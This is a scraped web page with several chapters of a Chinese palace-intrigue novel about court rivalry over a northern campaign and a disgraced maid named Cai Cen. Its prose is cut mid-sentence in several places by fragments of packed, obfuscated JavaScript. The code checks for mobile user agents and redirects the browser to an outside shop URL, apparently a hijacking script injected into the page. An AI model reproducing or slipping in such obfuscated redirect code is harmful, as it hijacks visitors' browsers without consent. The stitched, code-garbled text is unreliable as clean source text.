l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274292|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同蔡岑一样,只是低等的洒扫宫女,因得了杨仕鑫提拔,调到刘绥身旁做奉茶女官。 自从珍儿当上这奉茶女官后,仗着背后有杨仕鑫撑腰,行事作风尤为嚣张,尤其是对蔡岑。 一旁的宫女珠儿附和着珍儿:“天下哪里还有什么颖州蔡氏?珍儿姐姐真是糊涂了,那颖州蔡氏不是早就被抄家灭门了吗?” 蔡岑气不过,冷哼一声,恶狠狠地瞪了她们一眼。 珠儿狐假虎威道:“瞪什么眼啊!” 蔡岑眼珠一转,心中已有了主意,掩嘴笑道:“那是陛下开恩,留了我一条命,你们……” 蔡岑顿了顿,不屑地扫了眼二人,挑眉道:“莫不是你们二人对陛下不满?”说完,蔡岑饶有兴致地歪头看向二人。 珠儿闻言被唬住,缩在珍儿身后,小声劝道:“珍儿姐姐,这个蔡岑最是牙尖嘴利,我们说不过她,还是先回去吧。” 珍儿也被唬住,但她自从搭上杨仕鑫之后便作威作福惯了,况且又碍于面子,哪里肯退让,可再说下去,只怕这些谣言传到陛下耳中,饶是杨仕鑫也没法救她。 珍儿气得咬牙切齿,连着道了两三声好,狠狠甩了手里的帕子,转身离开。 “别以为傍上了什么人,便有了倚仗,便能随意欺负旁人。”蔡岑犹觉不过瘾,捎带上了杨仕鑫:“不过也是个奴才,还是个没根儿的奴才,又算得了什么倚仗呢?” 珍儿气得转身抬起巴掌,重重一掌落在蔡岑脸上:“你又算个什么东西!” 蔡岑脸颊瞬间肿起,可眼中却没丝毫的退缩:“今天这一巴掌,我记下了,往后定要你十倍奉还。” “就凭你?”珍儿闻言,方才还狰狞的面目瞬间舒展,噗嗤一声笑道:“你不会以为你姓蔡,就是是颖州蔡氏的大小姐吧!啧啧啧!” 她还以为蔡岑会说什么呢,没想到竟是白日做梦。 珠儿也跟着笑了起来。 一番笑弄嘲讽过后,两人见蔡岑并没什么反应,顿觉无趣,又快赶上康佑帝刘绥下朝的时间,便不再理会蔡岑,各自去忙各自的事儿去了。 刘绥下朝后,便唤来温嘉诚与程显二人共同商议北征一事。 今日早朝之上,刘绥提及北征胡人一事,可话一说完,金銮殿鸦雀无声。 平日里话最多的王落儒王太傅因着昨夜偶感风寒,告假休沐一日,满朝大臣们竟无人敢应对。 见此情形,刘绥的脸不由得黑了几分,当即便带着气退了朝。 杨仕鑫收到外头宫人们的传报,附在刘绥耳边轻声道:“陛下,温相与程相已在殿外恭候,可要宣召?” 刘绥抬起头:“宣——” 温嘉诚与程显并肩而行,谁也不肯落于对方之后,施礼拜过刘绥之后,仍暗中较劲。 刘绥道:“早朝之上,朕提及北征讨伐胡人一事,二位卿家欲言又止,似有话要说。”说着,刘绥抬手,示意二人说出在朝堂上未言尽之语。 “陛下——”温嘉诚与程显异口同声,话刚出口,二人互相扭头白了对方一眼,不再言语。 96. 外攘内安(一)渔翁得利 刘绥自然很是乐意看到两者相争相斗这一幕。 鹬蚌相争,渔翁得利,他如今便要做这得利的渔翁。 刘绥换了个舒适的姿势,扶着椅子的把手,笑吟吟看着两人。 程显率先开口,言辞恳切道:“如今朝纲初稳,实在不宜再起战事!还望——” “陛下三思!” 程显也不是全然没有私心。 若是北征一战成了,那新帝便又添一层底气,往后二殿下登基便少了一分指望。 若是北征一战败了,那耗费的人力物力绝非三五年便能供养出来,往后二殿下登基,面临的便是千疮百孔的江山。 听得程显劝阻,刘绥脸上黑了几分,转而寄希望于温嘉诚。 温嘉诚与程显向来意见不合,既然程显不同意北征,那温嘉诚定会与程显唱反调。 温嘉诚上前一步,恭敬道:“陛下刚登基不久,理应以休养生息之策安抚百姓、稳定朝纲,臣以为,眼下实在不宜再起战事。” 温嘉诚出身将门,征战沙场、收复失地是她打小便生出来的心愿,如今既然天子有这样的心思,她理应支持。 可早朝上,她的父亲温国公频频向她摇头示意,她细细一想,便明白父亲的担忧所在。 陛下如今根基未稳,朝中积弊甚深,况且大江先前在栾南与胡人的一战,便已元气大伤。 北征这一仗是个持久战,并非三五日便能解决。长时间的拉锯战,后方的粮草运送都成问题。 如今这样的情形,实在是不宜再生战事。 “还望陛下三思!”温嘉诚劝道。 刘绥眼睛眯起,面前这两人竟能这般齐心协力,当真是难得。 只是这份齐心落在他眼里,倒有些碍眼。 程显还想再劝:“陛下,此事重大,可与抚政公主商议过?不妨听听抚政公主的意见。” 程显话语一顿,转而看向温嘉诚,问道:“温大人日日伴在抚政公主左右,自然最是知晓抚政公主的心意,不知——” “朕心意已决,无需再议。”刘绥见程显搬出刘安来压他,面色瞬间冷冽下来,一锤定音。 温嘉诚瞪了程显一眼,恨恨地咬紧牙关。 此事原与大长公主无甚关系,再者陛下与大长公主之间的关系早已到了剑拔弩张的时候,程显却偏在此时提及大长公主,真是其心可诛。 温嘉诚本还想再上奏明年六月女科的相关事宜,但见刘绥脸色早已发黑,便知趣地闭嘴不言。 刘绥道:“此次带兵之人,朕以为定北王与温国公便很适合。” “定北王常年驻扎边境,对胡人的作战很是熟悉,便由定北王做主将,温国公做副将从旁辅佐。” “是,谨遵陛下旨意。” 刘绥揉着眉心,有些酸痛发胀,连连摆手,屏退温嘉诚与程显。 温嘉诚与程显二人退出福宁殿,程显抬头看向天空,看都不看温嘉诚一眼,冷哼一声:“温国公可真是好福气,有温相您这么个好女儿。” 温嘉诚白了程显一眼,知道他准不安好心。 温嘉诚扶正官帽,道:“与程相您相比,那还真是差远了。谁人不知满朝学官员皆是您程相的门徒。” 程显乐了,阴阳怪气道:“温相此言差矣,若论起来,大家都是天子门生。” 温嘉诚不甘示弱:“是吗?可今日早朝之上,程相您不发话,满朝百官又有谁敢言呢?” “唯女子与小人难养也。”程显正了正官服,嘴里小声嘟囔一句,不愿再理会温嘉诚,甩袖离开。 温嘉诚自是听见了,牙齿咬得咯吱作响,拳头也攥得发紧,手背上的青筋尽显,目光锁在程显身上,恨不得目光能刺穿程显的胸腔。 女人?那又如何! 迟早有一天,她这个女人要摘下程显的官帽。 迟早有一天,她这个女人要让程显尝到孝懿太子受到的苦。 迟早有一天,她这个女人要为孝懿太子报仇。 “奴婢蔡岑,见过温相。” 微弱的声音拉回温嘉诚的神思,温嘉诚回头看去,这才发现墙根底下跪了一个小宫女。 小宫女身形瘦弱单薄,发髻也有些松散凌乱,也不知在这里跪了多久,看着倒有些可怜。 等等,方才她说什么?蔡岑? 温嘉诚急忙问道:“你刚才说什么?你是蔡岑?” 温嘉诚两指捏起小宫女的下巴,仔细端详。 确是蔡岑无疑,只是如今蔡岑面容憔悴,眉眼之间尽是疲态无神之状,全然不似她记忆中那个娇蛮任性的蔡岑。 蔡岑眉眼垂下,轻轻点点头。 “岑儿……”见着蔡岑如今的样子,温嘉诚心中五味杂陈。 当年若不是蔡桐企图谋逆,颖州蔡氏一族又怎么会落得如今这样的下场? 蔡岑眼中含泪,嘴角挂上抹笑,强撑着道:“方才温相进去的时候,我便认出了温相,只是我如今这个样子……并不敢与温相相认。” 温嘉诚嘴张了张,被话堵住了喉咙,不知该说什么才好。 只是温嘉诚至今仍不明白,不明白蔡桐为何要造反。 蔡桐回京之时孝懿太子已然薨逝,当时又恰逢秋狝军演之时,上万的精锐驻扎在万安山,即便是蔡桐假借皇后玺印控制住京城,可那之后呢? 之后呢? 想起孝懿太子刘牧,温嘉诚不免长叹一口气。 她与孝懿太子相伴数百天,虽说时日不长,但孝懿太子的品行她都看在眼里,对下宽厚,爱民如子。 若孝懿太子能顺利即位,不失为一名仁君。 温嘉诚关切问道:“岑儿,你犯了什么错?跪在这里多久了?” 蔡岑有些虚弱,淡然笑道:“我在这里跪了一夜了……” 温嘉诚愕然,昨夜刮了好大的风,温度骤降,岑儿还穿得这么单薄…… 想到这儿,温嘉诚一把握住蔡岑的手,冰冷的触感传到她手心,不由得惊呼一声:“这么冰!” 还带伤! 蔡岑指节间一处处露着血丝的伤口,一览无余。 温嘉诚不由得拧紧眉头。 蔡岑费力抽回手,笑得有些不自然。她原是个高傲的性子,她原比温嘉诚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274293|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出身还要高贵,却不想如今…… “温姐姐……”蔡岑脸上挤出丝尴尬的笑,“姐姐如今官居相位,在朝中举重若轻,还望姐姐……” “还望姐姐能在陛下面前为我求求情……”蔡岑的声音越来越弱,越来越弱。 蔡岑艰难说出求情二字,紧接着又将脑袋垂下,不愿再直视温嘉诚。 她如今这般难堪落魄的样子,她只想将脑袋低在地上、低到尘埃里,她只想将自己藏起来。 温嘉诚缩回手指,她犹豫了。 温嘉诚能有如今的成就,全倚仗着大长公主刘安。而刘安对颖州蔡氏一族的恨意,她也知晓。 在刘安面前为蔡岑求情的话,她说不出口。 蔡岑还没等来温嘉诚的怜悯,倒是先等来了杨仕鑫。 杨仕鑫信步走来,猛然抬头,便看到墙根下的两人,端起架子,问道:“温相怎么还在这儿呢?” 温嘉诚顺着声音侧目看去,来人正是康佑帝刘绥身边的内官杨仕鑫。 杨仕鑫身后跟着两三个宫人,宫人们弯着腰,手上托着满满当当的奏折。 奏折堆叠的顺序,与才送入福宁殿的别无二样。 杨仕鑫停住脚步,抬手止住身后的宫人们,眼睛在温嘉诚与蔡岑两人间瞟了个来回。 一个是大长公主的心腹、朝中新贵,一个则是被抄家罚没到掖庭的罪奴,她们两个私下竟有往来? 杨仕鑫多了个心眼。 这蔡岑性子执拗得很,平日油盐不进,还像个炮仗一样一点就着。 先前他还纳闷,这样的人能被调到福宁殿当差! 今日看来,竟是大长公主安插在陛下身边的眼线! 杨仕鑫如同打通全身脉络般恍然大悟,难怪昨日定北王会为她求情呢! 杨仕鑫冷哼一声。 温嘉诚低头轻笑一声,拉着杨仕鑫到一旁,软声道:“杨内官,陛下以仁德治天下,鲜少有惩罚宫人的时候,今日我见这小宫人,看着有些可怜,不觉好奇她犯了什么错。” 杨仕鑫瞥了温嘉诚一眼,笑道:“她呀,摔了大长公主送给陛下的一个茶盏!陛下最是敬重大长公主,对于这样笨手笨脚的宫人,让她跪着已是格外开恩!” “若是大长公主知道她最心爱的茶盏被这个笨丫头打碎了,那——” “殿下性情宽和,若是殿下见着她如今这可怜样儿,想必也会心疼的。”温嘉诚眉头微蹙,竟只是为了一个茶盏? “再说了,为着她的手脚不伶俐,福宁殿上下宫人都受了罚,可罚了半个月的月俸呢!”杨仕鑫重重强调了“月俸”这二字。 温嘉诚思忖半晌,从袖中掏出一包银锭,趁着周围没什么人,塞到杨仕鑫袖子底下遮掩。 “大长公主以宽和治理宫闱,我看她着实可怜,还望杨内官在陛下面前为这小宫人求求情,她已跪了一夜,便饶过她吧。”温嘉诚继续柔声软语道。 “近来政务繁忙,兴许陛下早就忘了还有这么个人跪在这里。”温嘉诚见杨仕鑫还欲推辞,便道:“杨内官身为陛下身边的大总管,那便全都倚仗杨内官了。” 97. 外攘内安(二)峰回路转 杨仕鑫很是受用这些恭维话,掂了两三下手中银锭的重量,便笑道:“温相客气了。” “起来吧,还不谢过温相。”杨仕鑫昂着头,抱着手,高高在上地垂头看向蔡岑。 “多谢温相!”蔡岑没有丝毫犹豫,伸出双臂,郑重地将额头磕在地上。 什么尊严什么面子,她统统都不要了,她只要能活下来。 只有活下来才有资格谈所谓的尊严。 蔡岑虽心里是这么想的,可……心里到底还是有落差的,她曾和温嘉诚一样,同为名门贵女、大家闺秀,今日却…… 却一个天上,一个地下。 因而迟迟未曾起身。 温嘉诚笑道:“哪里的话,这还不是得看杨内官为人和善仁厚吗,到底是在陛下身边服侍的。” “谢过杨内官!”蔡岑伏在地上,扭转膝盖,转向杨仕鑫,高声道。 杨仕鑫笑着点头应下:“起来吧。” 虽说这蔡岑甚是可疑,可到底人是经过他的手才到了福宁殿的,到底也是他私下收了些钱,若他揭发蔡岑有问题,依着陛下的性子,他也是活罪难逃。 倒不如闭上眼睛,权当不知道。 今日全当是卖温相一个面子,日后再随便找个由头料理了蔡岑便是。 旋即,杨仕鑫笑意逢迎,同温嘉诚热络道:“温相可是要去福康宫?正好同路呢,不如一同前去。” “殿下并未传召我,我就不过去了。况我宫外还有些事,便先行一步。”说罢,温嘉诚颔首示意,转身离去。 虽说温嘉诚并未得到刘安传唤入福康宫,可论起来,温嘉诚出宫要过宣政门,自宣政门往东走,便是福康宫,与杨仕鑫倒是能同行一段。 但温嘉诚不喜杨仕鑫,更别提要与杨仕鑫同行闲谈了。 临走前,温嘉诚特意瞥了眼蔡岑。如今她能做的也就只有这么多了,余下的,便看蔡岑自己的造化了。 提到蔡岑,温嘉诚心中不免唏嘘,若是晋国公一家知收敛、懂进退,若是孝懿太子在世顺利登基,几时众人境遇是否会全然不同? 想至此处,温嘉诚慨然一声长叹。 温嘉诚走出宣政门,身后传来一阵急促的脚步。 “温相!温相!” 温嘉诚止住脚步,回头看去,只见是大长公主刘安的近侍莲房。 莲房深吸一口气,喜道:“温相走得好快,险些便追不上了。” 莲房熬到天亮宫门打开,收拾好银两要出宫去见她表哥之时,却被莲音没收了令牌。 一夜未见,只怕表哥病情加重,莲房心里实在放心不下表哥,急得团团转,正发愁怎么出宫呢。 因见温嘉诚正要出宫去,忙追上来。 温嘉诚不由笑道:“怎的?可是殿下传唤我?” 莲房讪笑一声,眼神不自然地回闪:“兴许过会儿殿下便会派人来传唤温相吧。眼下这里离福康宫最近,温相不如——” 温嘉诚摇头,无奈笑道:“殿下未曾传唤,若是私自觐见,有违宫规。”但见莲房只身一人,不免好奇问道:“莲房姑娘这是?” 莲房岔开话,道:“温相这可是要出宫去?不如同行?” 莲房显然不想让人知道她出宫的真实目的。 温嘉诚见状也不多问,点头应下,走在前头。莲房垂下头,紧跟在温嘉诚身后,顺利出了宫门。 温嘉诚上了马车,见莲房没跟上来,上前一步挑起车帘,邀请道:“莲房姑娘可与我同路?” 莲房笑着行礼拜别温嘉诚:“多谢温相,不过是多走两步路的事儿,就不麻烦温相了。” 温嘉诚点头,随即放下车帘,安坐稳当,闭目养神。 车轮滚动数圈,温嘉诚猛然睁眼,掀起一侧的车帘,侧目寻找着莲房的身影。 城东朱雀街的方向……城东公主府? 温嘉诚心有疑虑,但想到兴许是大长公主刘安的意思,虽不知大长公主是何主意,不过大长公主素来最有谋略,如此一想,心中疑虑倒有所消散。 马车刚停在温国公府门口,早就恭候多时的管家便小跑着上前。 管家躬身道:“哎呦大人,您可回来了,自下了早朝后国公爷一直等着呢。” “知道了,去告诉父亲,我这就来。”温嘉诚理了理官服,扶正本就戴的稳当的冠帽,大步流星迈进国公府。 待见到温国公,温嘉诚卸下冠帽,先是行礼拜过温国公,而后问道:“父亲找我,可是为了陛下早朝上提及的北征胡人一事?” 温国公闻言,先是长叹一声,而后右手手背重重拍在左手掌心,怅然道:“正是。眼下之际起兵打仗,绝非良策。” 说着,温国公走到温嘉诚面前,两条眉毛的眉头绞在一起:“陛下召见你与程显,想必也是在商议此事吧,结果如何?” 温嘉诚摇头叹道:“陛下圣心独裁,已决定要打。” “这……这……哎呀!”温国公又是一掌拍下,又是懊又是悔,懊悔他怎么不在今日早朝之上便出言献策,“太草率了!” “战场可不是儿戏啊!”温国公指尖发抖。 温嘉诚扶着温国公坐下,安抚道:“陛下既然这么坚决,想必定是有把握的。” “依我看啊,这一仗该打!”温国公夫人在窗边听到此处,忍不住发声,走进屋内。 温国公脸色一变,慌忙起身朝外看去,担心隔墙有耳。 “不必看了,我早就将仆从们都遣散了,且安心。”说着,温国公夫人将温国公拉回来。 温国公张了张嘴,想说温国公夫人的见识是妇人之言,可话在脑中过了一遍,才方觉不妥。 妇人之言一词乃是偏见之语,他的女儿温嘉诚官居相位,朝中仅此一位的女官,当朝的抚政大长公主也是妇人,监国理政期间也是可圈可点并无错处。 温国公摇头叹息,问道:“夫人缘何这般说?可有高见?” “陛下年幼登基,正是需要树立威信之时。”温国公夫人背起手,娓娓道:“近来我观兵法,也算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温国公夫人疑道:“嘉诚,你日日伴在大长公主殿下左右,怎会不知她的意思?” “殿下还未曾召见我,我不得而知。”温嘉诚解释道。 温国公道:“眼下还是要看殿下的意思。” 正说着,管家一路着急忙慌小跑过来,依着温国公夫人的命令,早早停住脚,高声喊道:“老爷夫人,大人,宫里来人了!” 温嘉诚笑道:“想来是陛下任命的旨意下来了。”说罢,三人起身前去相迎。 但见是莲亭前来。莲亭面上带笑,恭敬行过礼后,道:“温相,殿下传召,烦请随我入宫。” “是。”温嘉诚跟上莲亭,二人同乘一架马车进宫。 路上温嘉诚与莲亭寒暄几句,待马车转了个弯就要到宫门时,车子被人拦下。 莲亭有些恼怒,京城之中竟有人敢拦抚政大长公主的车驾,真是吃了熊心豹子胆了! 98. 外攘内安(三)隐患乍现 莲亭带着怒气下车,刚一跳下马车,但见拦车之人是莲房,怒气立马便消了一半,亲热地拉起莲房的手,忙问道:“莲房姐姐,你是何时出的宫?我竟不知道呢!” “你……这是……”莲亭注意到莲房额角发红,伸出手便要撩起莲房额边掉落的碎发。 莲房一手挡在额前,似是有遮掩:“我一大早便出宫了,有些事要办。” 莲亭甚是关切:“我回头给你拿些药膏来。” 温嘉诚掀起车帘,微微一笑道:“二位姑娘,我们还进宫吗?” 莲亭不好意思地抿抿嘴,忙拉着莲房上了马车。 “莲房姐姐,什么事一大早便出宫去呀?是不是……”上了马车,才刚坐定,莲亭肩膀碰了碰莲房,挤眉弄眼笑着看向莲房,一脸坏笑。 温嘉诚也看向莲房,眼神之中颇有探究的意味。 “嗯,你别问了。”莲房被看得有些不自在,支吾两声,轻声应下,飞快抬眼瞄向温嘉诚,又从额角扯下缕头发遮住伤。 莲亭见莲房躲躲闪闪,猜着可能是和她那表哥闹矛盾了,况且又有温嘉诚在旁,不便多问。 三人安静坐在马车上,静静听着车轮碾过道路的声音。 马车停下,莲亭清了清嗓子,摆正姿态,率先下了马车,随后掏出令牌。 宫门口见是大长公主的令牌,忙让开放行。 温嘉诚、莲房紧随莲亭之后。 马车被牵走放置,莲亭目光跟着扫了一眼,仅一眼,便认出了停在一旁的那一架马车,看着倒像是王太傅府上的。 可王太傅不是告假一日吗?缘何现在会入宫? 莲亭忙向宫门处的侍卫打听问询:“王太傅今日可曾入宫?” 侍卫回道:“方才王太傅上书求见陛下。” 温嘉诚听后眉头微蹙,王太傅不是告假一日吗?这么急着求见陛下,想必是听到了今日早朝的些许风声吧。 莲房闻言,心里有些发虚。 她方才在宫门附近等着回宫的莲亭,不巧被王落儒瞧见,不由得慌出一身汗,躲到了一旁。 她这次出宫本就是偷偷的,不想还是被人发现。但愿王太傅没看清她的样子。 温嘉诚脚步加快,愈发急促,急于见到刘安。 “臣温嘉诚,拜见殿下。” 莲音停下研墨的手,见着跟在温嘉诚身后的莲房与莲亭,脸上神情瞬间沉了下来。 莲音可是一上午都没看到莲房的身影。 她记得,前去温国公府宣召的是莲亭,不是莲房,莲房一上午人去了哪儿? 她明明收回了殿下赐予莲房的令牌,莲房竟还能出宫? 刘安抬头见是温嘉诚,放下批阅一半的奏折,笑着起身迎上去,道:“嘉诚,你可算来了。” 温嘉诚躬身道:“未得殿下传召,不敢贸然拜见。” 刘安拉起温嘉诚到书桌前,笑着解释道:“本想一下了朝便传召你的,不想陛下召见你去福宁殿议事,好容易你从福宁殿出来,没想到你腿脚那般利落,三两步便出了宫。” “殿下——”温嘉诚急着要将北征的事儿告诉刘安,还未说出口,便被刘安打断。 说着,刘安抬手屏退殿内宫人。 莲音垂头快步离开,待行至莲房身边时,狠狠瞪了莲房一眼。 莲房心虚地看了眼莲音,咽了口唾沫,战战兢兢跟在莲音身后退下。 殿内只留下刘安与温嘉诚两个。 “你来了,我可算是能松快松快了。”刘安笑着将温嘉诚按到她方才坐的位置上,转头拾起未磨完的墨条,在砚台上轻轻打圈。 “殿下真是折煞我了!”温嘉诚哪里敢坐下,慌忙起身。 刘安挑眉道:“哦?莫不是嫌我磨的墨不好?” “这里只你我二人,你安心坐稳便是。”刘安又伸手拉回温嘉诚,不由分说便将温嘉诚按在座椅上。 “那便恭敬不如从命。”温嘉诚也不再顾着这些拘束的礼法,笑道:“有殿下为我研墨,实乃我三生之幸,又哪里敢有半分嫌弃?” “那便请温相代本宫批阅奏折。”说着,刘安将一摞她方才翻阅过后的奏折推至温嘉诚面前。 温嘉诚看了眼刘安,见刘安眼神鼓励她翻开看,便不再扭捏,翻起一折。 密密麻麻的小字,竟全是些不知所云的话语,通篇看下来,竟仅有一两句值得一看。 温嘉诚两条剑眉早已拧在一起,深吸一口气,又拿起下面的一本。 不想与上一本竟是大同小异,皆是长篇大论的废话。 何时起官员所上的奏折竟这般啰里啰嗦? 温嘉诚看向一旁的刘安,眼中尽是无奈之色,摇头叹息。 自温嘉诚上任以来,无时无刻都在程显手中抢夺权力,但第二场女科迟迟无法开展,朝野之上,温嘉诚与刘安到底是孤木难支。 朝中大多数的臣子们选自科举、出身寒门,他们与程显从门第、早年间的求学经历,抑或是性别,都有相同相通之处,他们之间天然的亲近,对温嘉诚乃至刘安都有天然的排外。 长篇大论的奏折中夹杂着几句重要的信息,批阅起来极为耗费精力。当今陛下又多以年幼为由,这些折子看都不看便甩到刘安面前。 别看刘安手握监国大权,温嘉诚身居相位为百官之首,可在一些细碎的小事上,官员不配合,皇帝默许,拿这群人是一点办法也没有。 温嘉诚起身告罪:“还望殿下恕罪,臣推行女科不利,致使殿下在朝中无人可用。” 朝中官职多有空缺,原想着赶在明年九月科考前再举行一次女科,广纳贤良填补空位,不想竟处处受阻,明年六月的女科至今还没有下文。 刘安时刻关注着温嘉诚的神情,扶起温嘉诚,笑道:“这原不是你的错,何故领罪?我终究还是低估了他。” 刘安原想借着温嘉诚的手,设置双相位钳制程显,原想借着世家大族的残存余势,打压这些抱团的寒门官员,原想借着女科的契机,在朝中扶持自己的势力。 不曾想…… 温嘉诚与在官场浸淫多年的程显比,手段还是略显稚嫩。 从世家大族选入朝中为官的子弟们,一个个都只想着谋个荫封毫无上进心,寒门官员们早已拧成一派, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274295|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时间竟无人能与之抗衡。 女科,又迟迟没有第二场。 终究是棋差一着。 刘安问道:“今日可将女科的时间与陛下商议妥当?” 温嘉诚起身行至刘安身边,扶着刘安的胳膊,叹道:“今儿我见着陛下脸上似有恼怒之色,便未曾开口,况又有程显在一旁,生怕他出言左右陛下。” 温嘉诚顿了顿,继续道:“我估摸着程显他们的意思是,为了公平起见,要男女并科,扩大录取人数,在同一考场用同一份考卷。” “男女并科,看似公平,实则……”温嘉诚怅然摇头道:“男子们读这些个经书典籍多少年?女子读这些书才多久,恐有不少人还是殿下颁布召令后才有机会读书习字的。” “若是按照他们所想男女并科,即便是有女子报名参加,那名次也不尽如意,久而久之,哪里还会有女子会想着入朝为官呢?” 温嘉诚道:“这几日我再找个合适的时机,再向陛下进言。” 刘安点点头,随即笑道:“这事儿急不得,若是广招女子入朝为官难,不如先特招一个。” “特招?”温嘉诚疑道,眼珠转了一圈,问道:“殿下要为谁破例?” “户部侍郎不是还有个空缺吗?”刘安莞尔一笑,道:“若是招润蕾入户部,虽说她不太懂,可朝中有她哥哥王焕、祖父王落儒,他们二人从旁帮衬,想来润蕾成长起来,那还不是十拿九稳?” 刘安道:“我们在朝中,也不算是孤立无援的境地。” 温嘉诚点点头,掩嘴轻笑一声,俏皮道:“殿下说得极是,原先润蕾还一直说后悔呢,后悔当初未能同我一起参加科考,如今润蕾书都要翻烂了,第二场又迟迟定不下来,急得她抓心挠肝的。” 刘安听后,忍俊不禁,哈哈大笑数声,忍不住在温嘉诚额间轻轻点了一下。 温嘉诚见刘安笑了,心里也跟着高兴。 “不过,暂时还不能将她安在朝堂上。”刘安话锋一转,道:“她未曾经过科举,若是贸然当上这户部侍郎,只怕难以服众。” 刘安笑道:“不如……若是润蕾不嫌弃,便先到我宫里做女官吧,待日后女科定下时间,再参加也不迟。” “还是殿下思虑周全。”温嘉诚发自内心为王润蕾欣喜:“润蕾不在这里,我便先代她谢过殿下了。” 刘安道:“只是不知润蕾是否愿意,恐还要嘉诚前去游说呢。” 温嘉诚忙道:“想来润蕾巴不得呢。” 两人正说笑之际,莲音迈着小碎步,匆匆来报:“殿下,王太傅求见。” 刘安的笑声戛然而止,纳闷道:“王太傅今日不是告假一日吗?怎的入宫了?”说罢,扭头看向温嘉诚,眼中满是疑惑。 “许是为了北征胡人一事吧。”温嘉诚收起脸上的笑意,皱眉思索片刻,揣测道:“可今日陛下仅召见了我与程显,王太傅又是从何而知?难道是程显……” 刘安听得眉头直皱,程显…… 可真是哪儿都有他!他不会还动着要辅佐刘仲登基为帝的心思吧…… 不过这北征一事,还有待商槯。 99. 外攘内安(四)乘势而上 刘安问道:“北征?是要出兵攻打胡人吗?是陛下的意思?还是……” 明明昨日已经训斥过昶儿了,怎么还将她的话当成耳旁风? “是陛下的意思。”温嘉诚道。 刘安坐回椅子上,手指随意绕上一绺头发,垂眸沉思片刻,抬头问道:“嘉诚以为如何?” 温嘉诚道:“我出宫同父亲讲过,我与父亲皆以为可行。” 刘安不由得冷哼一声,但还是想听听温嘉诚和温国公的见解:“说来听听。” “承道年间,先帝与孝懿太子屡屡想收回漳州,可胡人占了个天和地利,草原雨水充沛,胡人兵强马壮。”温嘉诚道:“如今却是变了天,胡人之间内乱不止,近来草原又多灾多旱,私以为正是‘乘势而上’的好时机。” 刘安听后,长叹一声,她怎会不知这是个好时机呢? 只是……如今何止是胡人内乱不止? 单就大江来说,也有内斗之象,只怕胡人也有这样的心思,若是战胜倒好,可若是战败……若是战败…… “殿下?”莲音试探着问了声:“王太傅那里……将他打发走可行?” 温嘉诚目光一直落在刘安身上,她想知道刘安是如何想的,是北征?还是休战? 刘安回过神,这才想起殿外还有个王落儒等着求见呢。 “不见不见!”刘安没好气地直摆手。 莲音忙低下头,才退了几步,又听到刘安传唤,忙停住脚步倾听。 刘安压下气,语气软下来,揉着发胀的太阳穴:“让太傅好生休养,多多保重。” “是。”莲音退下。 殿内鸦雀无声,仅能听到刘安重重的呼吸声。 刘安随手掀起一封奏折,密密麻麻的小字挤在一起,从头读到尾,竟一个字也看不下去。 刘安闭上眼睛。 若是战败……若是再有人像颖州蔡氏为了一己私欲出卖国家,她还有何颜面再见父皇、再见列祖列宗? 刘安心绪久久未能平静,睫毛、眼皮止不住地颤抖。 许久,刘安才道:“嘉诚说得不错,乘势而上,确实是天赐良机。” “这仗若要打,也不是不行。” 刘安缓缓睁开眼,唤来莲房、莲亭二人:“去将定北王、逍遥王一并喊来。” 若说对胡人了解得最为仔细,非逍遥王刘赞莫属。 刘赞的铺子都开到了胡人境地内,就连胡人王室内斗、缺粮少食这样的消息,都是刘赞的铺子散出来的。 知己知彼,方能百战不殆。 莲房莲亭不敢有丝毫耽搁,马不停蹄便出宫去。 好巧不巧,碰上了依旧在殿外候着、坚持要面见刘安的王落儒。 莲亭在路过王落儒身边时,恭敬行礼问安。 莲房怕被王落儒认出来宫门口的是她,渐渐放缓脚步,自然而然躲到莲亭身后,和着莲亭的声音,向王落儒行礼问安。 王落儒头疼的厉害,仅眨了下眼睛,并未多说多问。 王落儒因昨夜受了风寒,再加上年事已高,头痛愈发严重,便向康佑帝刘绥告假后便卧床休息。 今早他才刚喝下一碗药汤,程显便来拜访探望,与程显说了会儿话,便知道了陛下准备北征的念头。 听程显的意思,他出言觐见多次,屡屡向陛下陈述北征的弊端,不想陛下竟一点也听不进去,一意孤行便要北征。 陛下性子软,耳根子也软,没什么主见,想来定是听了旁人的蛊惑之语。 一时间,也顾不上什么头疼,忙备了马,进宫面圣。 不想刘绥避而不见。没法儿,王落儒只能来见刘安。 满宫里,除了抚政大长公主刘安,谁还能有这样的主见,能左右得了陛下的决断呢? 可没想到刘安竟也对他避而不见。 王落儒的头疼得更厉害了。 莲音见王落儒身形摇晃又这般坚持,生怕一不小心王落儒摔在福康宫面前,到时候对刘安的名声可是大大不利。 莲音回头看了眼身后的宫人,示意她们拦着王落儒,自己则是再进宫去请示刘安。 